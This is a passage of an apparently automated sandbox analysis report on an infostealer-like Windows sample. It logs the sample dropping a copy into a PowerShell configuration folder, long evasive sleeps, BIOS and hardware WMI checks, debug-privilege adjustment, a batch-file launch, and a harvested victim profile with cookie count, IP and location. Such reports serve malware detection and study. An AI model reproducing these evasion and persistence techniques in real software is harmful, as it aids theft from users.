Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Dropped PE file which has not been started: C:\Users\user\Desktop\SrillUyz.log	Jump to dropped file

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe TID: 7320	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7532	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -6456360425798339s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -600000s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -599817s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -599688s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -599219s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7684	Thread sleep time: -3600000s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -598875s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -598547s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -598203s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -597938s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -597792s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -597407s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -597235s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -596844s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -596657s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -596344s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -595985s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -595755s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -595453s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -594844s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -594532s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -594157s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -593750s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -593391s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -593000s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -592719s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -592500s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -592313s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -591875s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -591485s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -591203s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -590985s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -590718s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -590484s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -590156s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -589844s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -589604s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -589480s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -589353s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -589235s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -589110s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -588985s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -588860s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -588735s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -588610s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -588458s >= -30000s	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe TID: 7700	Thread sleep time: -588328s >= -30000s	Jump to behavior

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BaseBoard
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 599817	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 599688	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 599219	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 3600000	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 598875	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 598547	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 598203	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 597938	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 597792	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 597407	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 597235	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 596844	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 596657	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 596344	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 595755	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 595453	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 594844	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 594532	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 594157	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 593750	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 593391	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 593000	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 592719	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 592500	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 592313	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 591875	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 591485	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 591203	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 590985	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 590718	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 590484	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 590156	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589844	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589604	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589480	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589353	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589235	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 589110	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588985	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588860	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588735	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588610	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588458	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Thread delayed: delay time: 588328	Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\Documents\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\AppData\Local\Temp	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\Desktop\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	File opened: C:\Users\user\AppData\Local	Jump to behavior

Source: aW6kSsgdvv.exe, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe.0.dr, dllhost.exe.0.dr, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe1.0.dr, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe2.0.dr, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe0.0.dr	Binary or memory string: rBMa1aVgqEmUSDeLCR1A
Source: w32tm.exe, 00000004.00000002.1745117108.0000024F08909000.00000004.00000020.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4147896536.000000001CB47000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe "C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe"	Jump to behavior

Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.0000000003783000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp, IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000036D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.00000000036D0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program Manager8!
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: [{"Has Messengers (1153)":"N","Has Game Clients (1153)":"N","Has Media Clients (1153)":"N","Has FTP Clients (1153)":"N","Cookies Count (1671)":"550","Passwords Count (1671)":"0","Forms Count (1671)":"0","CC Count (1671)":"0","History Count (1671)":"?"},"5.0.4",5,1,"","user","715575","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files\\WindowsPowerShell\\Configuration","LNWZN26 (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189","US / United States","New York / New York","40.7123 / -74.0068"]
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Program ManagerHT:
Source: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: 0.4",5,1,"","user","715575","Windows 10 Enterprise 64 Bit","Y","Y","N","C:\\Program Files\\WindowsPowerShell\\Configuration","LNWZN26 (1 GB)","Intel(R) Core(TM)2 CPU 6600 @ 2.40 GHz (Intel64 Family 6 Model 143 Stepping 8)","Program Manager","8.46.123.189"

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Queries volume information: C:\Users\user\Desktop\aW6kSsgdvv.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\aW6kSsgdvv.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Security\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Security.dll VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Web\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Web.dll VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\bahnschrift.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\calibril.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\calibrii.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\calibrili.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\calibrib.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\calibriz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\cambriai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\cambriab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\cambriaz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\cambria.ttc VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Candara.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Candaral.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Candarai.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Candarali.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Candarab.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\Candaraz.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\comic.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\comici.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\comicbd.ttf VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\comicz.ttf VolumeInformation	Jump to behavior
